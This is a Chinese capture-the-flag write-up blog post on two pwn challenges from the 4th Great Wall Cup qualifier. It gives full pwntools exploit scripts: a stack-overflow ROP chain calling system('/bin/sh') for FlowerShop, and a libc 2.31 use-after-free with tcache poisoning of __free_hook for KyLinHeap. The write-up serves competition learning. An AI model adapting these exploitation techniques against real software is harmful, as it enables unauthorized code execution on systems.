第四届长城杯网络安全大赛-初赛Pwn

FlowerShop

这道题主要注意三点

一是 main 函数中,read 存在一个对 money的溢出,但后面还有一个溢出检测,即检测当输入过长时,输入中的特定位置是否与 c 相等,c 可以看到是一个字符串’pwn’。

先来计算一下,name 是 rbp-0x40,src 是 rbp-0xC,money 是 rbp-0x8,因此先输入 0x40-0xC=0x34 个 a,接着要与 c 中的字符串相同,即再输入 ‘pwn’,剩下 5 字节的后 4 字节即可控制 money 的大小。

二是 magic 的值,可以看到在 shop 函数中,当购买了一个 magic 后,magic 被赋值为0x68732F6E69622,这实际上就是/bin/sh 字符串的 16 进制,因此程序中也就存在了/bin/sh 字符串

三是如何造成栈溢出,同样是 shop 函数,存在一个 read,但它的大小被限制为 size,而 size 在 check 函数。查看 check 函数,check 函数实际就是在判断 flower[0] 是否等于 2 和 flower[1] 是否等于 1,这里的 flower[0] 和 flower[1] 实际上就是影星玫瑰和卡布奇诺玫瑰,只要让影星玫瑰数量为 2 和卡布奇诺玫瑰数量为 1 就能返回 szie=0x46,而这个大小足够进行栈溢出

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

p = process('./pwn')
# p = remote('8.147.129.22', 15104)

ret_addr = 0x4006f6
system_plt = 0x400730
magic_addr = 0x601840
pop_rdi_ret = 0x400f13

p.recvuntil("请输入你的姓名:")
payload = b'a'*0x34 + b'pwna'+b'99'
p.send(payload)

p.recvuntil('请输入你的选项:')
p.sendline(b'a')
p.recvuntil('请输入购买的商品序号:')
p.sendline(b'c')

p.recvuntil('你想要继续买花吗? 1/0')
p.sendline(b'1')
p.recvuntil('请输入购买的商品序号:')
p.sendline(b'a')

p.recvuntil('你想要继续买花吗? 1/0')
p.sendline(b'1')
p.recvuntil('请输入购买的商品序号:')
p.sendline(b'b')

p.recvuntil('你想要继续买花吗? 1/0')
p.sendline(b'1')
p.recvuntil('请输入购买的商品序号:')
p.sendline(b'a')

payload = b'a'*0x18 + p64(pop_rdi_ret)+p64(magic_addr)
payload += p64(ret_addr) + p64(system_plt)
p.sendline(payload)

p.interactive()

KyLinHeap

标准菜单题,有 add、delete、edit 和 show 函数

add 函数

delete 函数存在 UFA 漏洞

edit 函数不存在溢出

show 函数

libc2.31 的 UAF,泄露出 libc 之后打 tcache 为 free_hook

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

p = process('./pwn1')
libc = ELF("./libc-2.31-0kylin9.2k0.2.so")

def add(size, content):
p.recvuntil("adventurer? ")
p.sendline(str(1))
p.recvuntil("bytes): ")
p.sendline(str(size))
p.recvuntil("bytes):")
p.send(content)

def free(idx):
p.recvuntil('adventurer? ')
p.sendline(str(2))
p.recvuntil('index (0-19): ')
p.sendline(str(idx))

def edit(idx, content):
p.recvuntil('adventurer? ')
p.sendline(str(3))
p.recvuntil(': ')
p.sendline(str(idx))
p.recvuntil(':')
p.send(content)

def show(idx):
p.recvuntil('adventurer? ')
p.sendline(str(4))
p.recvuntil(': ')
p.sendline(str(idx))

def exit():
p.recvuntil(b'adventurer? ')
p.sendline(str(5))

# attach(p)
add(0x500, b'a')#chunk 0
add(0x100, b'a')#chunk 1

free(0)
show(0)

p.recvuntil('\n')
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x1ebbe0
success('libc_base:{}'.format(hex(libc_base)))
malloc_hook = libc_base + libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success('system:{}'.format(hex(system)))
one_gadget = libc_base + 0xe6c81

free(1)
edit(1, b'\x00'*0x10)
free(1)
edit(1, p64(free_hook))

add(0x100, b'a')
add(0x100, p64(system))
edit(0, b'/bin/sh\x00')
free(0)

p.interactive()

第四届长城杯网络安全大赛-初赛Pwn
https://tsuk1ctf.github.io/post/44739.html
作者
Tsuk1
发布于
2024年12月25日
许可协议